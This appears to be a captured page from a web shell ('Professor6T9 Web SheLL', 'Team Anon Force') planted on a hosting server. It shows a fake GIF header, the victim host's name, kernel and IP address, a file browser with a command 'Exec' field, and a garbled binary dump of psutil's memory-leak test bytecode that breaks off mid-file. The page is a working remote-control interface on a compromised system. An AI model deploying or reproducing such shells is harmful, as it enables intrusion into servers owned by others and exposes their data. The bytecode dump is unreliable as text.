GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
opt
/
alt
/
python38
/
lib64
/
python3.8
/
site-packages
/
psutil
/
tests
/
__pycache__
[ HOME ]
Exec
Submit
test_memleaks.cpython-38.pyc
U X}�f�; � @ sZ d Z ddlmZ ddlZddlZddlZddlZddlZddlZddl Zddlm Z ddlmZ ddlmZ ddlm Z ddlmZ dd lmZ dd lmZ ddlmZ ddlmZ dd lmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlm Z ddlm!Z! ddlm"Z" ddlm#Z# ddlm$Z$ ddlm%Z% ddlm&Z& ddlm'Z' dd lm(Z( ej)j*Z*e�+� Z,d!Z-d"d#� Z.G d$d%� d%e!�Z/G d&d'� d'e/�Z0e�1e d(�G d)d*� d*e!��Z2G d+d,� d,e!�Z3e4d-k�rVdd.l5m6Z6 dd/l5m7Z7 e �rNe6d0e8 d1� e�9d� e7e8� dS )2a� Tests for detecting function memory leaks (typically the ones implemented in C). It does so by calling a function many times and checking whether process memory usage keeps increasing between calls or over time. Note that this may produce false positives (especially on Windows for some reason). PyPy appears to be completely unstable for this framework, probably because of how its JIT handles memory, so tests are skipped. � )�print_functionN)�LINUX)�MACOS)�OPENBSD)�POSIX)�SUNOS)�WINDOWS)�ProcessLookupError)�super)�HAS_CPU_AFFINITY)�HAS_CPU_FREQ)�HAS_ENVIRON)� HAS_IONICE)�HAS_MEMORY_MAPS)�HAS_NET_IO_COUNTERS)�HAS_PROC_CPU_NUM)�HAS_PROC_IO_COUNTERS)� HAS_RLIMIT)�HAS_SENSORS_BATTERY)�HAS_SENSORS_FANS)�HAS_SENSORS_TEMPERATURES)� QEMU_USER)�TestMemoryLeak)�create_sockets)� get_testfn)�process_namespace)�skip_on_access_denied)�spawn_testproc)�system_namespace)� terminate� c C s dd� } | S )zsDecorator for those Linux functions which are implemented in pure Python, and which we want to run faster. c s t �� �� fdd��}|S )Nc sJ t r6| jj}zt| j_� | f|�|�W �S || j_X n� | f|�|�S d S �N)r � __class__�times� FEW_TIMES)�self�args�kwargs�before��fun� �M/opt/alt/python38/lib64/python3.8/site-packages/psutil/tests/test_memleaks.py�wrapperE s z5fewtimes_if_linux.<locals>.decorator.<locals>.wrapper)� functools�wraps)r* r- r+ r) r, � decoratorD s z$fewtimes_if_linux.<locals>.decoratorr+ )r0 r+ r+ r, �fewtimes_if_linux? s r1 c @ s� e Zd ZdZeZdd� Ze� dd� �Ze� dd� �Z e� dd � �Z e� d d� �Ze� e d�e� d d� ��Ze� e d�e� dd� ��Ze� dd� �Zdd� Zdd� Ze� e d�dd� �Ze� e d�dd� �Ze� e d�e� dd� ��Ze� ed�dd � �Ze� d!d"� �Ze� eed#�d$d%� ��Ze� e d&�d'd(� �Ze� e d�e� d)d*� ��Z e� d+d,� �Z!e� eed#�d-d.� ��Z"e� d/d0� �Z#e� e� e$ d�d1d2� ��Z%e� d3d4� �Z&e� d5d6� �Z'e� e d�e� d7d8� ��Z(d9d:� Z)e� d;d<� �Z*e� e+ d�d=d>� �Z,e� e+ d�d?d@� �Z-e� dAdB� �Z.e� e/ d�e� dCdD� ��Z0e� e1 dE�e� e2 d�dFdG� ��Z3e� e1 dE�e� e2 d�dHdI� ��Z4e� e� edJ�dKdL� ��Z5e� e6 d�dMdN� �Z7e� e d&�dOdP� �Z8dQS )R�TestProcessObjectLeaksz$Test leaks of Process class methods.c C s t d �}|�| |j|j � d S r! )r �test_class_coverage�gettersZsetters�r% �nsr+ r+ r, � test_coverage` s z$TestProcessObjectLeaks.test_coveragec C s | � | jj� d S r! )�execute�proc�name�r% r+ r+ r, � test_named s z TestProcessObjectLeaks.test_namec C s | � | jj� d S r! )r8 r9 Zcmdliner; r+ r+ r, �test_cmdlineh s z#TestProcessObjectLeaks.test_cmdlinec C s | � | jj� d S r! )r8 r9 �exer; r+ r+ r, �test_exel s zTestProcessObjectLeaks.test_exec C s | � | jj� d S r! )r8 r9 Zppidr; r+ r+ r, � test_ppidp s z TestProcessObjectLeaks.test_ppidz POSIX onlyc C s | � | jj� d S r! )r8 r9 Zuidsr; r+ r+ r, � test_uidst s z TestProcessObjectLeaks.test_uidsc C s | � | jj� d S r! )r8 r9 Zgidsr; r+ r+ r, � test_gidsy s z TestProcessObjectLeaks.test_gidsc C s | � | jj� d S r! )r8 r9 �statusr; r+ r+ r, �test_status~ s z"TestProcessObjectLeaks.test_statusc C s | � | jj� d S r! )r8 r9 �nicer; r+ r+ r, � test_nice� s z TestProcessObjectLeaks.test_nicec s t �� � ��� �fdd�� d S )Nc s �j �� �S r! )r9 rE r+ �Znicenessr% r+ r, �<lambda>� � z6TestProcessObjectLeaks.test_nice_set.<locals>.<lambda>)�thisprocrE r8 r; r+ rG r, � test_nice_set� s z$TestProcessObjectLeaks.test_nice_set� not supportedc C s | � | jj� d S r! )r8 r9 �ionicer; r+ r+ r, �test_ionice� s z"TestProcessObjectLeaks.test_ionicec sZ t r"t�� �� �� �fdd�� n4� �� fdd�� t�tjt� � dd�}� � t|� d S )Nc s � j ���S r! )r9 rM r+ �r% �valuer+ r, rH � rI z8TestProcessObjectLeaks.test_ionice_set.<locals>.<lambda>c s � j �tj�S r! )r9 rM �psutilZIOPRIO_CLASS_NONEr+ r; r+ r, rH � rI ���r )r rJ rM r8 r. �partial�cextZproc_ioprio_set�os�getpid� execute_w_exc�OSError�r% r* r+ rO r, �test_ionice_set� s z&TestProcessObjectLeaks.test_ionice_setc C s | � | jj� d S r! )r8 r9 Zio_countersr; r+ r+ r, �test_io_counters� s z'TestProcessObjectLeaks.test_io_counterszworthless on POSIXc C s t �� �� | �| jj� d S r! )rQ �Process�usernamer8 r9 r; r+ r+ r, � test_username� s z$TestProcessObjectLeaks.test_usernamec C s | � | jj� d S r! )r8 r9 Zcreate_timer; r+ r+ r, �test_create_time� s z'TestProcessObjectLeaks.test_create_time)Zonly_ifc C s | � | jj� d S r! )r8 r9 Znum_threadsr; r+ r+ r, �test_num_threads� s z'TestProcessObjectLeaks.test_num_threads�WINDOWS onlyc C s | � | jj� d S r! )r8 r9 Znum_handlesr; r+ r+ r, �test_num_handles� s z'TestProcessObjectLeaks.test_num_handlesc C s | � | jj� d S r! )r8 r9 Znum_fdsr; r+ r+ r, �test_num_fds� s z#TestProcessObjectLeaks.test_num_fdsc C s | � | jj� d S r! )r8 r9 Znum_ctx_switchesr; r+ r+ r, �test_num_ctx_switches� s z,TestProcessObjectLeaks.test_num_ctx_switchesc C s | � | jj� d S r! )r8 r9 �threadsr; r+ r+ r, �test_threads� s z#TestProcessObjectLeaks.test_threadsc C s | � | jj� d S r! )r8 r9 � cpu_timesr; r+ r+ r, �test_cpu_times� s z%TestProcessObjectLeaks.test_cpu_timesc C s | � | jj� d S r! )r8 r9 Zcpu_numr; r+ r+ r, �test_cpu_num� s z#TestProcessObjectLeaks.test_cpu_numc C s | � | jj� d S r! )r8 r9 Zmemory_infor; r+ r+ r, �test_memory_info� s z'TestProcessObjectLeaks.test_memory_infoc C s | � | jj� d S r! )r8 r9 Zmemory_full_infor; r+ r+ r, �test_memory_full_info� s z,TestProcessObjectLeaks.test_memory_full_infoc C s | � | jj� d S r! )r8 r9 Zterminalr; r+ r+ r, � test_terminal� s z$TestProcessObjectLeaks.test_terminalc C s$ t rtn| j}| j| jj|d� d S )N�r# )r r$ r# r8 r9 �resume�r% r# r+ r+ r, �test_resume� s z"TestProcessObjectLeaks.test_resumec C s | � | jj� d S r! )r8 r9 �cwdr; r+ r+ r, �test_cwd� s zTestProcessObjectLeaks.test_cwdc C s | � | jj� d S r! )r8 r9 �cpu_affinityr; r+ r+ r, �test_cpu_affinity� s z(TestProcessObjectLeaks.test_cpu_affinityc s4 t �� � ��� �fdd�� ��t�fdd�� d S )Nc s �j �� �S r! �r9 rs r+ �Zaffinityr% r+ r, rH � rI z>TestProcessObjectLeaks.test_cpu_affinity_set.<locals>.<lambda>c s � j �dg�S �NrR ru r+ r; r+ r, rH � rI )rJ rs r8 rW � ValueErrorr; r+ rv r, �test_cpu_affinity_set� s z,TestProcessObjectLeaks.test_cpu_affinity_setc C s* t t� d�� | �| jj� W 5 Q R X d S )N�w)�openr r8 r9 Z open_filesr; r+ r+ r, �test_open_files� s z&TestProcessObjectLeaks.test_open_filesc C s | � | jj� d S r! )r8 r9 Zmemory_mapsr; r+ r+ r, �test_memory_maps� s z'TestProcessObjectLeaks.test_memory_mapsz LINUX onlyc s � � � fdd�� d S )Nc s � j �tj�S r! �r9 �rlimitrQ � RLIMIT_NOFILEr+ r; r+ r, rH � rI z4TestProcessObjectLeaks.test_rlimit.<locals>.<lambda>�r8 r; r+ r; r, �test_rlimit� s z"TestProcessObjectLeaks.test_rlimitc s<